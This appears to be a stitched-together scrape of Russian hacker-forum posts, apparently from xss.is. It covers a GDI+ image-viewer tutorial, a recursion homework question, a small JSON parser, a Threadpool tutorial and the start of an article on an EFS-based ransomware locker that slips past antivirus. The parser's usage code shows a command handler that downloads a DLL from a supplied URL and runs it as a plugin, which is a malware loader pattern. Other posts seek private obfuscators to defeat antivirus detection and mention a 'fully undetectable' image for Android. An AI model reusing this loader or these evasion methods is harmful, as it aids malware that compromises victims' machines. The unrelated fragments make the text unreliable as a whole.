/* выход из фулскрина */
// Восстанавливаем стили
// WINDOW_STYLE и WINDOW_EXSTYLE - определенные мной константы со стилями окна. Они же задаются и в CreateWindowEx
SetWindowLong(hWnd, GWL_STYLE, WINDOW_STYLE|WS_VISIBLE); // WS_VISIBLE для того, чтобы винда правильно перерисовала назлежащие окна (иначе, на них так и останутся части изображения и будет очень некрасиво)
SetWindowLong(hWnd, GWL_EXSTYLE, WINDOW_EXSTYLE);
// Восстанавливаем положение окна
SetWindowPlacement(hWnd, &oldPlacement);
Еще я добавил в меню (и обработку клавиши M на клаве) пункт "Скрывать меню в полноэкранном режиме". Думаю, его действия поянсять не надо
Code:Copy to clipboard
/* часть обработчика WM_PAINT */
int bAutoShrink = GetMenuState(hOptionsMenu, IDM_AUTOSHRINK, MF_BYCOMMAND) & MF_CHECKED;
// Если картинка помещается на экране или юзеру не нужно авто-сжатие, отображаем как есть
if(
((signed)img->GetWidth() < rt.right && (signed)img->GetHeight() < rt.bottom) // картинка помещается
|| !bAutoShrink // не нужно сжатие
)
{
// Рисуем обычное изображение (с учетом зума)
Point pts[3] = { // три координаты параллелограма для растягивания изображения
Point((int)(rt.right/2 - img->GetWidth()*mult/2), (int)(rt.bottom/2 - img->GetHeight()*mult/2)), // левыйверхний угол
Point((int)(rt.right/2 + img->GetWidth()*mult/2), (int)(rt.bottom/2 - img->GetHeight()*mult/2)), // правый верхний угол
Point((int)(rt.right/2 - img->GetWidth()*mult/2), (int)(rt.bottom/2 + img->GetHeight()*mult/2)) // левыйнижний угол
};
if(gr->DrawImage(img, pts, 3)!=Ok)
DrawErrorString((bFullScreenMode)?hScreenDC:hdc, hWnd, 20, "Times New Roman", L"An error ocurred while displaying image");
}
else
{
// Вычисляем параметры картинки, чтобы она уместилась на экране полностью
double x_coeff = (double)img->GetWidth() / (double)rt.right;
double y_coeff = (double)img->GetHeight() / (double)rt.bottom;
double max_coeff = (x_coeff>y_coeff)?x_coeff:y_coeff; // выбираем наибольший коеффициент
// Вычисляем новую ширину и высоту изображения
int new_width = (int) ((double)img->GetWidth() * mult / max_coeff);
int new_height = (int) ((double)img->GetHeight() * mult / max_coeff);
// Три координаты паралеллограма для рисования изображения
Point destination[3] = {
Point(rt.right/2 - new_width/2, rt.bottom/2 - new_height/2), // левый верхний угол
Point(rt.right/2 + new_width/2, rt.bottom/2 - new_height/2), // правый верхний угол
Point(rt.right/2 - new_width/2, rt.bottom/2 + new_height/2) // левый нижний угол
};
// Рисуем сжатое изображение
if(gr->DrawImage(img, destination, 3)!=Ok)
DrawErrorString((bFullScreenMode)?hScreenDC:hdc, hWnd, 20, "Times New Roman", L"An error ocurred while displaying image");
}
Функция DrawErrorString(HDC hdc, HWND hWnd, int fontHeight, char* fontFace, LPWSTR error) (ее код найдешь в исходнике к статье, если хорошо поищешь ) выводит ругань об ошибке на экран, если не удалось показать изображение (совсем забыл сказать, что Graphics:rawImage() возвращает значение типа enum Gdiplus::Status, которое равно Ok, если отображение удалось )
Заметь, что здесь уже реализован и зум - ширина и высота изображения умножается на множитель mult (который объявлен как double mult=1.0), который увеличивается/уменьшается при нажатии на клавиши + и -:
Code:Copy to clipboard
/* часть обработчика WM_CHAR */
else if(message == WM_CHAR)
{
char ch = (char)wParam;
// Зум
bool bRepaint = false;
if(ch == '+')
{
bRepaint = true;
mult *= zoom;
}
else if(ch == '-')
{
bRepaint = true;
mult /= zoom;
}
Сохранение зум-множителя тоже позволим выбирать пользователю - аналогичный пунктик меню добавляем и при открытии нового файла, если этот пунктик не установлен, сбрасываем mult в еденицу, а если установлен - не трогаем.
Code:Copy to clipboard
/* часть обработчика WM_CHAR */
// Поворот
else if(ch == 'a' || ch == 'A')
{
if(!img) // картинка не загружена
return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
img->RotateFlip(Rotate270FlipNone);
bRepaint = true;
}
else if(ch == 's' || ch == 'S')
{
if(!img) // картинка не загружена
return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
img->RotateFlip(Rotate180FlipNone);
bRepaint = true;
}
else if(ch == 'd' || ch == 'D')
{
if(!img) // картинка не загружена
return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
img->RotateFlip(Rotate90FlipNone);
bRepaint = true;
}
Code:Copy to clipboard
/* обработчик WM_MOUSEWHEEL */
// поворот колеса мыши. При повороте колеса будем проходить по каталогу вверх/вниз, как в продвинутых вьюверах
else if(message == WM_MOUSEWHEEL)
{
// Коэффициент поворота колеса. Число, кратное WHEEL_DELTA (120). Если оно >0 - поворот вверх, <0 - поворот вниз
int zDelta = GET_WHEEL_DELTA_WPARAM(wParam) / WHEEL_DELTA;
if(!img) // картинка не загружена
return 0;
// Имя предыдущего файла (если поворот вверх - мы открываем предыдущий файл)
char* prev = NULL;
// Флаг, указывающий на что, что предыдущий файл был текущим открытым файлом
// (если поворот вниз и флаг установлен - открываем текущий файл)
bool bPrevIsOur = false;
// Устанавливаем текущий каталог, в котором лежит открытый файл
SetCurrentDirectory(path);
// Ищем первый файл
WIN32_FIND_DATA wfd = {0};
HANDLE hSearch = FindFirstFile("*.*", &wfd);
if(hSearch == (HANDLE)-1)
return 0;
// Выбран ли пункт меню Options->Don't clear image zoom multiplier - сбрасываем в 1 множитель при открытии нового файла или нет
bool bSaveMult = (bool)(GetMenuState(hOptionsMenu, IDM_SAVEMULT, MF_BYCOMMAND) & MF_CHECKED);
do
{
// Сравниваем расширение файла с заданными расширениями графических файлов
char* ext = strrchr(wfd.cFileName, '.');
if(!ext)
continue;
ext++;
// Не изображение - переходим к следующему файлу
if(!(!lstrcmpi(ext, "bmp") || !lstrcmpi(ext, "jpeg") || !lstrcmpi(ext, "jpg") || !lstrcmpi(ext, "gif") || !lstrcmpi(ext, "tiff")
|| !lstrcmpi(ext, "png")))
continue;
// Файл совпал с открытым
if(!lstrcmpi(wfd.cFileName, filename))
{
// Устанавливаем флаг
bPrevIsOur = true;
// Если хотят предыдущий файл - открываем его, обновляем окно и корректируем заголовок
if(prev && zDelta>0)
{
// открываем
if(!bSaveMult)
mult = 1.0;
delete img;
wchar_t wfile[1024];
MultiByteToWideChar(CP_ACP, 0, prev, -1, wfile, 1023);
img = new Image(wfile);
// обновляем окно
GetClientRect(hWnd, &rt);
InvalidateRect(hWnd, &rt, TRUE);
// ставим правильный заголовок окна
filename = prev;
char title[1024];
wsprintf(title, "%s\\%s - Image viewer", path, filename);
SetWindowText(hWnd, title);
return 0;
}
}
// Если предыдущий файл совпал с открытым и хотят следующий - открываем, обновляем окно и корректируем заголовок
else if(bPrevIsOur && zDelta<0)
{
if(!bSaveMult)
mult = 1.0;
delete img;
wchar_t wfile[1024];
MultiByteToWideChar(CP_ACP, 0, wfd.cFileName, -1, wfile, 1023);
img = new Image(wfile);
GetClientRect(hWnd, &rt);
InvalidateRect(hWnd, &rt, TRUE);
filename = strdup(wfd.cFileName);
char title[1024];
wsprintf(title, "%s\\%s - Image viewer", path, filename);
SetWindowText(hWnd, title);
return 0;
}
// Записываем новое значение имени предыдущего файла
if(prev)
free(prev);
prev = strdup(wfd.cFileName);
}
while(FindNextFile(hSearch, &wfd)); // пока есть необработанные файлы в каталоге
}
Вот такой вот некислый код наколбасил я почти с первого раза .
Code:Copy to clipboard
/* обработчик WM_DROPFILES */
// обрабатываем Drag & Drop
else if(message == WM_DROPFILES)
{
HDROP hDrop = (HDROP)wParam;
// Получаем количество файлов
UINT nFiles = DragQueryFile(hDrop, -1, 0, 0);
if(nFiles == 1)
{
char file[1024];
// Информация о первом файле
DragQueryFile(hDrop, 0, file, 1023);
if(img)
delete img;
wchar_t wfile[1024];
MultiByteToWideChar(CP_ACP, 0, file, -1, wfile, 1023);
// Открываем
img = new Image(wfile);
GetClientRect(hWnd, &rt);
// обновляем вид
InvalidateRect(hWnd, &rt, TRUE);
filename = strdup(file);
filename = strrchr(file, '\\')+1;
path = strdup(file);
*strrchr(path, '\\')=0;
// изменяем заголовок окна
char title[1024];
wsprintf(title, "%s - Image viewer", file);
SetWindowText(hWnd, title);
return 0;
}
DragFinish(hDrop);
}
Еще, при большом желании, в сорце можно найти код для сохранения файла.
// III. Outro
Я и так уже накатал на 19 килобайт, поэтому в заключении буду краток
.
Эта статья далеко не претендует на полное описание возможностей GDI+, виндовых
функций (я не маразматик, чтобы переписывать MSDN
).
Далее, не надо писать отзывы типа "все равно Ifran View лучше" - я не
старался создать шедевр. А вообще, получилось не так уж и плохо, не правда ли?
И еще пара слов. Поскольку мы писали на чистом WinAPI, у меня размер экзешника
составил 17,4 Кб (учитывая, что в нем есть ресурсы). Я указал оптимальные
опции линкера (например, совмещение секций - /MERGE), но, надеюсь, у тебя
получится еще меньше. Дерзай
Attached files:
Хидеры GDI+:
Сорцы:
Есть задачка:
Дана матрица a(m, n). Найдите в ней путь с максимальной суммой от какого-
нибудь элемента первой строки до какого-нибудь элемента последней строки.
Ходить можно вниз по вертикали или диагоналям.
Задачу нужно решить на С++ с помощью рекурсии, не используя STL и др.
наворотов.
Проблема: есть рекурсивная функция, она работает, правильно ищет максимальную сумму, а вот с запоминанием пути выходит проблема. Запись в массивы идет неправильно... Помогите пожалуйста!
Код полностью:
Code:Copy to clipboard
#include <iostream>
#include <conio.h>
#include <math.h>
#include <vector>
#include <time.h>
using namespace std;
//Задаем глобальную матрицу статической размерности.
const int n=5;
const int m=6;
int matrix[n][m];
//В структуры подобного вида будет записан путь.
struct element
{
int row;
int col;
};
//Указатели на массив, содержащий путь.
element *massiv2;
element *massivtemp;
void Entermatr(int, int); //Функция для ручного ввода матрицы.
void Getmatr (int, int); //Функция, задающая матрицу из случайных чисел
void Myprint (int, int); //Функция, которая выводит матрицу
void Recfind(bool**, int&, int, int, int, element*, element*); //Рекурсивная функция поиска пути.
int main()
{
//Выбор пользователя.
int choice;
cout<<"Sposob zadaniya matricy:"<<endl;
cout<<"(1) -- vvod s klaviatury\n(2) -- matrica iz sluchainyh chisel\n";
cin>>choice;
switch (choice)
{
case 1:
{
cout<<"Razmernosti: "<<n<<" strok i "<<m<<" stolbcov.";
Entermatr (n,m);
break;
}
case 2:
Getmatr(n,m); break;
default:
cout<<"Wrong choice.";
}
//Обнуляем и инициализируем все вспомогательные переменные и указатели.
int sum=0;
massiv2=new element[n];
massivtemp=new element[n];
for (int i=0; i<n; i++)
{
massivtemp[i].col=0;
massivtemp[i].row=0;
}
for (int i=0; i<n; i++)
{
massiv2[i].col=0;
massiv2[i].row=0;
}
bool **field; //двумерное "поле"
field =new bool*[n];
for (int i=0; i<n; i++)
{
field[i]=new bool[m];
for (int j=0; j<m; j++) field[i][j]=false; // Первоначально никакую клетку не посетили
}
for (int i=0; i<m; i++) // Проходим по элементам первой строки
{
int temp_sum=0;
//cout<<"\nJ:"<<i<<endl;
Recfind(field,temp_sum,0,i,0, massiv2, massivtemp);
//cout<<"\nSum:"<<sum;
if (temp_sum>sum)
{
sum=temp_sum;
}
}
cout<<"Max: "<<sum<<endl;
//Вывод результата от рекурсии.
cout<<"Here is the path according to the recursive algorithm:\n";
for (int i=0; i<n; i++)
cout<<massiv2[i].row<<","<<massiv2[i].col<<endl;
Myprint(n,m);
delete []massiv2;
for (int i=0; i<n; i++)
delete []field[i];
delete []field;
_getch();
return 0;
}
void Entermatr(int n, int m)
{
for(int i=0;i<n;i++)
{
for(int j=0;j<m;j++)
cin>>matrix[i][j];
}
}
void Getmatr (int n, int m)
{
int RANGE_MIN=0;
int RANGE_MAX=10;
srand((unsigned)time(NULL));
for(int i=0;i<n;i++)
{
for(int j=0;j<m;j++)
matrix[i][j]=
static_cast<int>(((double)rand()/(double) RAND_MAX) * RANGE_MAX + RANGE_MIN);
}
}
void Myprint (int n, int m)
{
for(int i=0;i<n;i++)
{
cout<<endl;
for(int j=0;j<m;j++)
cout<<matrix[i][j]<<" ";
}
cout<<endl;
}
void Recfind(bool **field, int& sum, int i, int j, int s, element *massiv2, element *massivtemp)
{
//Условия выхода из рекурсии.
if (i<0 || i>=n || j<0 || j>=m)
return;
if (i==n-1)
{
if (s+matrix[i][j]>sum)
{
sum=s+matrix[i][j];
for (int i=0; i<n; i++)
{
massiv2[i].col=massivtemp[i].col;
massiv2[i].row=massivtemp[i].row;
}
}
return;
}
if (!field[i][j])
{
int temp_sum=0;
field[i][j]=true;
massivtemp[n-i-1].row=i;
massivtemp[n-i-1].col=j;
int temp=s+matrix[i][j];
Recfind(field,sum,i+1,j,temp, massiv2,massivtemp);
Recfind(field,sum,i+1,j-1,temp, massiv2, massivtemp);
Recfind(field,sum,i+1,j+1,temp, massiv2, massivtemp);
for (int i=0; i<n; i++)
{
massivtemp[i].col=0;
massivtemp[i].row=0;
}
field[i][j]=false;
}
}
Как программно поменять IP не перегружая тачку (XP) с помощью Builder(a)?
Есть вопрос следующего плана. Жыл-был ЕХЕшник на С++ упакованный ASPack'ом, упаковщие был снят, теперь хотелось бы поковыряться в сорцах программы. Дизассемблирование работает но это не есть удобно. В общем вопрос, можно ли вытащить сорцы программы или нет?
Нужна софтина "рисующая" качественные блок-схемы на основе сорцев си. Размер программы достаточно важен (чем меньше >> тем лучше). Ещё обязательным условием должно быть отсутсвие на блок-схемах разного рода красивостей (а то встречалась уже парочка прог, где авторы навтыкали различных анимационных стрелок и прочей ерунды). блок-схема должна быть максимально приближена к гостовским стандартам humbsup:
Архив статей по C/C++
Если будут вопросы по данному коду , пишите .
Нужна помощь в обфускации кода vbs. Пробовал доступные на гитхабе, но самый лучший вариант оставляет 2 статик детекта. Есть ли приватные обфускаторы на рынке?
Какой есть способ проверки транзы битка кроме api blockchain? Ищу но ничего так и не нахожу
Может кто-то знает где описана в мельчайших деталях работа тора так, что-бы
это можно было реализовать самому.
Желательно на русском
люди, кто знает, как шифровать xtea если это касается c#
прошу помощи, как юзать так и не нашел,
цель: зашифровать файл, и дешифровать ( на диске)
https://gist.githubusercontent.com/...ea062e553ddf2fb504c4186512ac41650a8b0/XTEA.cs
-ссылка на источник
будем открывать android с помощью fud изображения
string password = Encoding.ASCII.GetString(Convert.FromBase64String"pass")); -
хэш от Base64
Как реализовать тоже самое, нос хэшем md5?? Софт разобрали и поймали пасс от
зипа, ибо хэш base64 расшифровать как нефиг делать.
Думаю md5 меня спасает в этом плане)
Spoiler: .cpp
C++:Copy to clipboard
#include <windows.h>
#include "minijson.h"
#define ISSPACE(c) ((char)(c) == ' ' || (char)(c) == '\n')
#define SKIPSPACE(p) while(ISSPACE(*p))++p
parse_status parse_object(char *, char **);
parse_status parse_array(char *, char **);
parse_status parse_number(char *, char **);
parse_status parse_string(char *, char **);
parse_status skip_object(char **);
parse_status skip_array(char **);
parse_status skip_number(char **);
parse_status skip_string(char **);
parse_status skip_value(char **);
bool _isspace(int c)
{
return c == ' ' || c == '\t';
}
long int _atol(const char* string)
{
register long int result = 0;
register unsigned int digit;
int sign;
while (_isspace(*string)) {
string += 1;
}
if (*string == '-') {
sign = 1;
string += 1;
}
else {
sign = 0;
if (*string == '+') {
string += 1;
}
}
for (; ; string += 1) {
digit = *string - '0';
if (digit > 9) {
break;
}
result = (10 * result) + digit;
}
if (sign) {
return -result;
}
return result;
}
int _strncmp(const char * s1, const char * s2, size_t n)
{
while (n && *s1 && (*s1 == *s2))
{
++s1;
++s2;
--n;
}
if (n == 0)
{
return 0;
}
else
{
return (*(unsigned char *)s1 - *(unsigned char *)s2);
}
}
parse_status skip_value(char **top)
{
char *orig = *top;
char *p;
parse_status ret;
switch (**top) {
case '{':
ret = skip_object(top);
break;
case '[':
ret = skip_array(top);
break;
case '"':
ret = skip_string(top);
break;
case '-':
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
ret = skip_number(top);
break;
case 't': // true
if (!_strncmp(*top, "true", 4)) {
ret = PARSE_SUCCEEDED;
*top += 3;
}
else {
ret = PARSE_FAILED_TRUE;
}
break;
case 'f': // false
if (!_strncmp(*top, "false", 5)) {
ret = PARSE_SUCCEEDED;
*top += 4;
}
else {
ret = PARSE_FAILED_FALSE;
}
break;
case 'n': // null
if (!_strncmp(*top, "null", 4)) {
ret = PARSE_SUCCEEDED;
*top += 3;
}
else {
ret = PARSE_FAILED_NULL;
}
break;
default:
break;
}
if (ret != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
return PARSE_SUCCEEDED;
}
parse_status skip_object(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_object(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_array(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_array(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_string(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_string(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_number(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_number(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status parse_object(char *beg, char **end)
{
if (*beg != '{')
return PARSE_FAILED_OBJECT;
char *p = beg;
char *tmp;
parse_status ret;
p++; // next to '{'
while (*p != '}') {
// key
SKIPSPACE(p);
if ((ret = skip_string(&p)) != PARSE_SUCCEEDED)
return ret;
p++; // next to closing '"'
SKIPSPACE(p);
if (*p != ':')
return PARSE_FAILED_OBJECT;
p++; // next to ':'
SKIPSPACE(p);
// value
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
return ret;
p++;
SKIPSPACE(p);
// comma
if (*p != ',' && *p != '}') {
return PARSE_FAILED_OBJECT;
}
if (*p == ',') {
p++;
SKIPSPACE(p);
}
}
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_array(char *beg, char **end)
{
if (*beg != '[')
return PARSE_FAILED_ARRAY;
char *p = beg;
parse_status ret;
p++; // next to '['
while (*p != ']') {
SKIPSPACE(p);
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
return ret;
p++;
SKIPSPACE(p);
if (*p != ',' && *p != ']') {
return PARSE_FAILED_ARRAY;
}
if (*p == ',') {
p++;
SKIPSPACE(p);
}
}
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_string(char *beg, char **end) // "[^"]*"
{
if (*beg != '"')
return PARSE_FAILED_STRING;
char *p = beg;
while (*(++p) != '"')
if (*p == '\\') p++;
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_number(char *beg, char **end) // [0-9]+
{
char *p;
for (p = beg; ('0' <= (*p) && (*p) <= '9') || *p == '-'; ++p);
*end = p - 1;
if (beg > *end)
return PARSE_FAILED_NUMBER;
else
return PARSE_SUCCEEDED;
}
parse_status json_parse(const char *str, json_value_t *res)
{
char *p = (char*)str;
parse_status ret = PARSE_SUCCEEDED;
SKIPSPACE(p);
switch (*p) {
case '{':
res->type = JSON_OBJECT;
break;
case '[':
res->type = JSON_ARRAY;
break;
case '\"':
res->type = JSON_STRING;
break;
case '-':
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
res->type = JSON_NUMBER;
break;
case 't':
res->type = JSON_TRUE;
break;
case 'f':
res->type = JSON_FALSE;
break;
case 'n':
res->type = JSON_NULL;
break;
default:
ret = PARSE_FAILED;
}
if (ret == PARSE_SUCCEEDED) res->value = p;
return ret;
}
parse_status json_get_object(json_value_t json, const char *key, json_value_t *res)
{
if (json.type != JSON_OBJECT)
return PARSE_FAILED_TYPE_MISSMATCH;
char *p = json.value;
char *tmp;
int key_len = lstrlenA(key);
parse_status ret;
p++;
while (1) {
SKIPSPACE(p);
if (*p == '}') {
return PARSE_FAILED_NOT_FOUND_KEY;
}
if (*p == '\"' && *(p + key_len + 1) == '\"' && !_strncmp(p + 1, key, key_len)) { // found key
tmp = p + key_len + 2; // next to closing '\"'
SKIPSPACE(tmp);
if (*tmp != ':') return PARSE_FAILED_OBJECT;
tmp++;
SKIPSPACE(tmp);
return json_parse(tmp, res);
}
// skip until next key
if ((ret = skip_string(&p)) != PARSE_SUCCEEDED) {
return ret;
}
p++; // next to closing key '"'
SKIPSPACE(p);
if (*p != ':')
return PARSE_FAILED_OBJECT;
p++; // next to ':'
SKIPSPACE(p);
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED) {
return ret;
}
p++;
SKIPSPACE(p);
// comma
if (*p == ',') {
p++;
}
SKIPSPACE(p);
}
}
parse_status json_get_array(json_value_t json, int idx, json_value_t *res)
{
if (json.type != JSON_ARRAY)
return PARSE_FAILED_TYPE_MISSMATCH;
char *p = json.value;
char *tmp;
parse_status ret;
p++;
while (idx--) {
SKIPSPACE(p);
skip_value(&p);
p++;
SKIPSPACE(p);
if (*p != ',')
return PARSE_FAILED_ARRAY;
p++;
}
SKIPSPACE(p);
return json_parse(p, res);
}
parse_status json_get_number(json_value_t json, long long *val)
{
if (json.type != JSON_NUMBER)
return PARSE_FAILED_TYPE_MISSMATCH;
char *end;
char buf[32];
int i;
parse_status ret;
if ((ret = parse_number(json.value, &end)) != PARSE_SUCCEEDED)
return ret;
for (i = 0; i <= end - json.value; i++) buf[i] = *(json.value + i);
*val = _atol(buf);
return PARSE_SUCCEEDED;
}
parse_status json_get_string(json_value_t json, char *val)
{
if (json.type != JSON_STRING)
return PARSE_FAILED_TYPE_MISSMATCH;
char *end;
int i;
parse_status ret;
if ((ret = parse_string(json.value, &end)) != PARSE_SUCCEEDED)
return ret;
for (i = 0; i < end - json.value - 1; i++) *(val + i) = *(json.value + i + 1);
*(val + i) = '\0';
return PARSE_SUCCEEDED;
}
Spoiler: .h
C++:Copy to clipboard
#ifndef _INCLUDE_MINIJSON_H
#define _INCLUDE_MINIJSON_H
typedef enum {
PARSE_SUCCEEDED = 0,
PARSE_FAILED,
PARSE_FAILED_OBJECT,
PARSE_FAILED_ARRAY,
PARSE_FAILED_STRING,
PARSE_FAILED_NUMBER,
PARSE_FAILED_TRUE,
PARSE_FAILED_FALSE,
PARSE_FAILED_NULL,
PARSE_FAILED_NOT_FOUND_KEY,
PARSE_FAILED_TYPE_MISSMATCH,
} parse_status;
typedef enum {
JSON_STRING,
JSON_NUMBER,
JSON_OBJECT,
JSON_ARRAY,
JSON_TRUE,
JSON_FALSE,
JSON_NULL,
} json_value;
typedef struct {
json_value type;
char *value;
} json_value_t;
parse_status json_parse(const char*, json_value_t*);
parse_status json_get_object(json_value_t, const char*, json_value_t*);
parse_status json_get_array(json_value_t, int, json_value_t*);
parse_status json_get_number(json_value_t, long long*);
parse_status json_get_string(json_value_t, char*);
#endif // _INCLUDE_MINIJSON_H
От меня usage:
C++:Copy to clipboard
void execCommand(LPCSTR commandData, LONG commandLength) {
Network network;
char urlBuffer[32767];
char fileBuffer[32767];
char argumentBuffer[32767];
json_value_t json;
json_value_t jsonUrl;
json_value_t jsonFile;
json_value_t jsonArgument;
if (PARSE_SUCCEEDED == json_parse(commandData, &json)) {
if (PARSE_SUCCEEDED == json_get_object(json, "url", &jsonUrl) && PARSE_SUCCEEDED == json_get_object(json, "file", &jsonFile) && PARSE_SUCCEEDED == json_get_object(json, "arg", &jsonArgument)) {
json_get_string(jsonUrl, urlBuffer);
json_get_string(jsonFile, fileBuffer);
json_get_string(jsonArgument, argumentBuffer);
DWORD dwOutSize = 0;
LPBYTE lpDllBytes = network.winHttpDownloadFile(urlBuffer, fileBuffer, &dwOutSize);
runPlugin(lpDllBytes, dwOutSize, argumentBuffer);
_free(lpDllBytes);
}
}
}
Сегодня мы рассмотрим такую вещь, как Threadpool, а конкретно WinAPI-функцию
QueueUserWorkItem.
Эта функция позволяет создавать очередь. Threadpool будет выполнять переданные
вами функцию по очереди.
C++:Copy to clipboard
BOOL QueueUserWorkItem(
LPTHREAD_START_ROUTINE Function,
PVOID Context,
ULONG Flags
);
Function - Указатель на нашу функцию, функция должна быть обязательно такого вида:
Code:Copy to clipboard
DWORD WINAPI Function(LPVOID param){
return 0;//в место нуля может быть то, что вам нужно
}
Context - это ваша переменная которую вы хотите передать в неё.
Flags - это дополнительные флаги которые вы хотите использовать, вот
список флагов:
WT_EXECUTEDEFAULT
По умолчанию функция обратного вызова ставится в очередь в рабочий поток, не
связанный с вводом-выводом.
Функция обратного вызова ставится в очередь в поток, который использует порты
завершения ввода / вывода, что означает, что они не могут выполнить ожидаемое
ожидание. Поэтому, если ввод-вывод завершает работу и генерирует APC, APC
может ожидать неопределенно долго, поскольку нет никакой гарантии, что поток
войдет в состояние ожидания с оповещением после завершения обратного вызова.
WT_EXECUTEINIOTHREAD
Этот флаг не используется.
Windows Server 2003 и Windows XP: функция обратного вызова ставится в очередь
в рабочий поток ввода-вывода. Этот флаг следует использовать, если функция
должна выполняться в потоке, который ожидает в состоянии оповещения.
Рабочие потоки ввода / вывода были удалены, начиная с Windows Vista и Windows Server 2008.
WT_EXECUTEINPERSISTENTTHREAD
Функция обратного вызова ставится в очередь в поток, который никогда не
завершается. Это не гарантирует, что каждый раз используется один и тот же
поток. Этот флаг следует использовать только для коротких задач или он может
повлиять на другие операции таймера.
Этот флаг должен быть установлен, если поток вызывает функции, которые
используют APC. Для получения дополнительной информации см. Асинхронные вызовы
процедур .
Обратите внимание, что в настоящее время ни один рабочий поток не является
действительно постоянным, хотя рабочие потоки не завершаются, если есть какие-
либо ожидающие запросы ввода-вывода.
WT_EXECUTELONGFUNCTION
Функция обратного вызова может выполнить долгое ожидание. Этот флаг помогает
системе решить, следует ли создавать новый поток.
WT_TRANSFER_IMPERSONATION
Функции обратного вызова будут использовать текущий токен доступа, будь то
токен процесса или олицетворения. Если этот флаг не указан, функции обратного
вызова выполняются только с токеном процесса.
Windows XP: этот флаг не поддерживается до Windows XP SP2 и Windows Server
2003.
Минус этой функции в том, что в неё нельзя передавать выполнение на неуправляемые части кода, т.е. с некоторыми инжектами будет проблемы
автор: Snow.
источник: xss.is
1 Введение
Навеяло топиком здесь же. Судя по всему народу не дает покоя слава REvil’ов и
им подобных ребят. Вот и хотят они много денег, да еще
и быстро. Поэтому раз за разом появляются топики вида «Хочу свой локер,
памагите». В основном это «жертвы ЕГЭ». Так не бывает. Для
любой области можно считать верной аксиому «успех профессионала прямо
пропорционален квадрату его задницы» (ИМХО:
тот, кто реально хочет написать такую штуку – подобные вопросы не задает, а
планомерно увеличивает площадь собственной пятой точки
проводя бессонные ночи за чтением документации, литературы по теории
разработки программного обеспечения и в отладчике.)
1.1 С чего все началось
Давным давно, когда деревья были большими, трава зеленой, а небо синим –
попалась мне на глаза статья в
нашем любимом журнале
«Хакер».
В ней говорилось о том, что некие исследователи смогли реализовать «Шкафчик»
на основе EFS – encrypted file system. Причем такой,
что большинство аверов будет молчать и даже пикнуть не посмеет, т.к. сочтет
все происходящее легитимными действия.
Исследователи уведомили основных разработчиков аверов и мелкософт. Ниже
приведу реакцию различных компаний на данное иссле-
дование:
• Avast: внедрили исправление в антивирус версии 19.8 и выплатили
исследователям награду в размере 1000 долларов.
• Avira: сочли, что потенциальный обход защиты зависит от сценария
индивидуального использования и вряд ли может считаться
«точкой отказа», достойной внимания.
• Bitdefender: с 10 января исправление задействовано в Bitdefender Antivirus,
Bitdefender Total Security и Bitdefender Internet Security
версии 0.14.85. В Bitdefender Free Edition исправление пока доступно только в
режиме уведомлений и потребует дальнейшей на-
стройки.
• Check Point: исправление уже доступно в Corporate Endpoint Client E82.30 и в
ближайшие дни станет доступно в новом выпуске
Anti-Ransomware Zone Alarm. D7xTech: разработчик уведомлен 5 июля 2019 года,
статус неизвестен.
• ESET: в настоящее время компания работает над выпуском обновления и
призывает клиентов обратиться к Customer Advisory
2020-0002 для получения дополнительной информации о вариантах смягчения
проблемы.
• F-Secure: уже обнаруживает EFS-малварь как W32/Malware!Online и
Trojan.TR/Ransom.Gen.
• GridinSoft: имеет только бета-версию продукта, выпущенную в 2016 году. С тех
пор она не обновлялась, и дело не дошло до
полноценного релиза. Поэтому решение защищает лишь от тех вымогателей, которые
были популярны до 2016 года.
• IObit: исправление доступно в версии 7.2.
• Kaspersky: все продукты компании обновлены и теперь защищают от описанных
исследователями атак.
• McAfee: выпустила защиту от эксплоита исследователей в виде Anti-Virus (AV)
DAT, доступных как для корпоративных, так и
домашних пользователей. Корпоративные клиенты, использующие MVision EDR,
получили специальное правило для обнаружения
подобных атак. С помощью EDR администратор может сканировать свои машины на
наличие малвари, а затем заблокировать ее
выполнение или удалить.
• Microsoft: оценили описанную экспертами проблему как умеренную угрозу,
которая не соответствует Microsoft Security Servicing
Criteria for Windows. Microsoft, возможно, рассмотрит исправление этой
проблемы в будущих продуктах.
• Panda Security: сообщает, что работа продуктов Panda Adaptive Defense
основана не на шаблонах, а на классификации всех файлов
и процессов, выполняющихся на машине. Таким образом, любая атака с
использованием подозрительных файлов и процессов будет
обнаружена и блокирована.
• Sophos: Sophos Intercept X и все клиенты, использующие данный продукт,
получили обновление и защищены.
• Symantec: создали две сигнатуры для обнаружения подобных атак, чтобы
смягчить проблему.
• TrendMicro: в настоящее время работает над созданием защиты от таких атак, а
пока рекомендует пользователям отключить EFS.
• Webroot: благодарит специалистов SafeBreach Labs и уверяет, что теперь
встретит подобные атаки во всеоружии.
«Интересно», подумал я, и перешел к следующей статье, однако идея отложилась в
голове. Не то, чтобы я хотел заняться рансомом,
упаси боже. Но мне стало любопытно – действительно ли можно обойти аверы
подобным способом? Почему майкрософты и некоторые
